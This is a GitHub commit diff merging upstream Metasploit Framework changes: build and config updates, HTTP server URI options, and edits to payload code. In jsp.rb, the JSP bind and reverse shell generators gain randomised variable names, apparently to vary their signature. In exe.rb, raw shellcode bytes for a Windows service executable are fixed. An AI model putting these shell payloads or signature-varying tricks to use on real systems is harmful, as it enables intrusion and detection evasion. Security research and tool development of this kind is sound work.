Skip to content

Commit feaae6d

Browse files
committed
Merge remote-tracking branch 'upstream/master'
2 parents 5c215ac + bc55293 commit feaae6d

File tree

27 files changed

+1124
-162
lines changed

27 files changed

+1124
-162
lines changed

.gitignore

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,12 @@ Gemfile.local.lock
77
.sublime-project
88
# RVM control file, keep this to avoid backdooring Metasploit
99
.rvmrc
10+
# Allow for a local choice of (unsupported / semi-supported) ruby versions
11+
# See PR #4136 for usage, but example usage for rvm:
12+
# rvm --create --versions-conf use 2.1.4@metasploit-framework
13+
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
14+
# rbenv shell 2.1.4
15+
.versions.conf
1016
# YARD cache directory
1117
.yardoc
1218
# Mac OS X files

.travis.yml

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,6 @@ script: "bundle exec rake $RAKE_TASK"
2424

2525
rvm:
2626
- '1.9.3'
27-
- '2.0'
2827
- '2.1'
2928

3029
notifications:

Gemfile

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@ source 'https://rubygems.org'
33
# spec.add_runtime_dependency '<name>', [<version requirements>]
44
gemspec
55

6-
gem 'rb-readline', require: false
7-
86
group :db do
97
# Needed for Msf::DbManager
108
gem 'activerecord', '>= 3.0.0', '< 4.0.0'

Gemfile.lock

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -232,7 +232,6 @@ DEPENDENCIES
232232
pg (>= 0.11)
233233
pry
234234
rake (>= 10.0.0)
235-
rb-readline
236235
redcarpet
237236
rspec (>= 2.12, < 3.0.0)
238237
rspec-rails (>= 2.12, < 3.0.0)
618 Bytes
Binary file not shown.

lib/msf/core/exploit/exe.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,10 +38,11 @@ def get_eicar_exe
3838
obfus_eicar.join("-").upcase
3939
end
4040

41-
def get_custom_exe(path=nil)
41+
def get_custom_exe(path = nil)
4242
path ||= datastore['EXE::Custom']
4343
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
4444
datastore['DisablePayloadHandler'] = true
45+
exe = nil
4546
::File.open(path,'rb') {|f| exe = f.read(f.stat.size)}
4647
exe
4748
end
@@ -160,7 +161,7 @@ def exe_init_options(opts)
160161
end
161162

162163
def exe_post_generation(opts)
163-
if (opts[:fellback])
164+
if opts[:fellback]
164165
print_status("Warning: Falling back to default template: #{opts[:fellback]}")
165166
end
166167
end

lib/msf/core/exploit/http/server.rb

Lines changed: 24 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,11 @@ def initialize(info = {})
3737
], Exploit::Remote::HttpServer
3838
)
3939

40+
register_advanced_options([
41+
OptAddress.new('URIHOST', [false, 'Host to use in URI (useful for tunnels)']),
42+
OptPort.new('URIPORT', [false, 'Port to use in URI (useful for tunnels)'])
43+
])
44+
4045
# Used to keep track of resources added to the service manager by
4146
# this module. see #add_resource and #cleanup
4247
@my_resources = []
@@ -76,6 +81,11 @@ def print_status(msg='')
7681
end
7782
# :category: print_* overrides
7883
# Prepends client and module name if inside a thread with a #cli
84+
def print_good(msg='')
85+
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
86+
end
87+
# :category: print_* overrides
88+
# Prepends client and module name if inside a thread with a #cli
7989
def print_error(msg='')
8090
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
8191
end
@@ -103,6 +113,11 @@ def vprint_status(msg='')
103113
end
104114
# :category: print_* overrides
105115
# Prepends client and module name if inside a thread with a #cli
116+
def vprint_good(msg='')
117+
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
118+
end
119+
# :category: print_* overrides
120+
# Prepends client and module name if inside a thread with a #cli
106121
def vprint_error(msg='')
107122
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
108123
end
@@ -449,7 +464,9 @@ def get_resource
449464
def get_uri(cli=self.cli)
450465
ssl = !!(datastore["SSL"])
451466
proto = (ssl ? "https://" : "http://")
452-
if (cli and cli.peerhost)
467+
if datastore['URIHOST']
468+
host = datastore['URIHOST']
469+
elsif (cli and cli.peerhost)
453470
host = Rex::Socket.source_address(cli.peerhost)
454471
else
455472
host = srvhost_addr
@@ -459,7 +476,9 @@ def get_uri(cli=self.cli)
459476
host = "[#{host}]"
460477
end
461478

462-
if (ssl and datastore["SRVPORT"] == 443)
479+
if datastore['URIPORT']
480+
port = ':' + datastore['URIPORT'].to_s
481+
elsif (ssl and datastore["SRVPORT"] == 443)
463482
port = ''
464483
elsif (!ssl and datastore["SRVPORT"] == 80)
465484
port = ''
@@ -494,7 +513,9 @@ def get_uri(cli=self.cli)
494513
#
495514
# @return [String]
496515
def srvhost_addr
497-
if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
516+
if datastore['URIHOST']
517+
host = datastore['URIHOST']
518+
elsif (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
498519
host = datastore["LHOST"]
499520
else
500521
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")

lib/msf/core/module/reference.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,9 @@ def self.from_a(ary)
8787

8888
#
8989
# Initialize the site reference.
90+
# If you're updating the references, please also update:
91+
# * tools/module_reference.rb
92+
# * https://github.com/rapid7/metasploit-framework/wiki/Metasploit-module-reference-identifiers
9093
#
9194
def initialize(in_ctx_id = 'Unknown', in_ctx_val = '')
9295
self.ctx_id = in_ctx_id

lib/msf/core/payload/jsp.rb

Lines changed: 44 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,12 @@ def initialize(info = {})
2222
# @return [String] jsp code that executes bind TCP payload
2323
def jsp_bind_tcp
2424
# Modified from: http://www.security.org.sg/code/jspreverse.html
25+
26+
var_is = Rex::Text.rand_text_alpha_lower(2)
27+
var_os = Rex::Text.rand_text_alpha_lower(2)
28+
var_in = Rex::Text.rand_text_alpha_lower(2)
29+
var_out = Rex::Text.rand_text_alpha_lower(3)
30+
2531
jsp = <<-EOS
2632
<%@page import="java.lang.*"%>
2733
<%@page import="java.util.*"%>
@@ -31,37 +37,37 @@ def jsp_bind_tcp
3137
<%
3238
class StreamConnector extends Thread
3339
{
34-
InputStream is;
35-
OutputStream os;
40+
InputStream #{var_is};
41+
OutputStream #{var_os};
3642
37-
StreamConnector( InputStream is, OutputStream os )
43+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
3844
{
39-
this.is = is;
40-
this.os = os;
45+
this.#{var_is} = #{var_is};
46+
this.#{var_os} = #{var_os};
4147
}
4248
4349
public void run()
4450
{
45-
BufferedReader in = null;
46-
BufferedWriter out = null;
51+
BufferedReader #{var_in} = null;
52+
BufferedWriter #{var_out} = null;
4753
try
4854
{
49-
in = new BufferedReader( new InputStreamReader( this.is ) );
50-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
55+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
56+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
5157
char buffer[] = new char[8192];
5258
int length;
53-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
59+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
5460
{
55-
out.write( buffer, 0, length );
56-
out.flush();
61+
#{var_out}.write( buffer, 0, length );
62+
#{var_out}.flush();
5763
}
5864
} catch( Exception e ){}
5965
try
6066
{
61-
if( in != null )
62-
in.close();
63-
if( out != null )
64-
out.close();
67+
if( #{var_in} != null )
68+
#{var_in}.close();
69+
if( #{var_out} != null )
70+
#{var_out}.close();
6571
} catch( Exception e ){}
6672
}
6773
}
@@ -87,6 +93,12 @@ class StreamConnector extends Thread
8793
# @return [String] jsp code that executes reverse TCP payload
8894
def jsp_reverse_tcp
8995
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
96+
97+
var_is = Rex::Text.rand_text_alpha_lower(2)
98+
var_os = Rex::Text.rand_text_alpha_lower(2)
99+
var_in = Rex::Text.rand_text_alpha_lower(2)
100+
var_out = Rex::Text.rand_text_alpha_lower(3)
101+
90102
jsp = <<-EOS
91103
<%@page import="java.lang.*"%>
92104
<%@page import="java.util.*"%>
@@ -96,37 +108,37 @@ def jsp_reverse_tcp
96108
<%
97109
class StreamConnector extends Thread
98110
{
99-
InputStream is;
100-
OutputStream os;
111+
InputStream #{var_is};
112+
OutputStream #{var_os};
101113
102-
StreamConnector( InputStream is, OutputStream os )
114+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
103115
{
104-
this.is = is;
105-
this.os = os;
116+
this.#{var_is} = #{var_is};
117+
this.#{var_os} = #{var_os};
106118
}
107119
108120
public void run()
109121
{
110-
BufferedReader in = null;
111-
BufferedWriter out = null;
122+
BufferedReader #{var_in} = null;
123+
BufferedWriter #{var_out} = null;
112124
try
113125
{
114-
in = new BufferedReader( new InputStreamReader( this.is ) );
115-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
126+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
127+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
116128
char buffer[] = new char[8192];
117129
int length;
118-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
130+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
119131
{
120-
out.write( buffer, 0, length );
121-
out.flush();
132+
#{var_out}.write( buffer, 0, length );
133+
#{var_out}.flush();
122134
}
123135
} catch( Exception e ){}
124136
try
125137
{
126-
if( in != null )
127-
in.close();
128-
if( out != null )
129-
out.close();
138+
if( #{var_in} != null )
139+
#{var_in}.close();
140+
if( #{var_out} != null )
141+
#{var_out}.close();
130142
} catch( Exception e ){}
131143
}
132144
}

lib/msf/util/exe.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -558,7 +558,7 @@ def self.to_win32pe_service(framework, code, opts = {})
558558
"\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
559559
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
560560
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
561-
"{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
561+
"#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
562562
"\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
563563
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
564564
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
@@ -568,7 +568,7 @@ def self.to_win32pe_service(framework, code, opts = {})
568568
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
569569
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" +
570570
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
571-
"{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
571+
"#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
572572
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
573573
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
574574
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +

0 commit comments

Comments
 (0)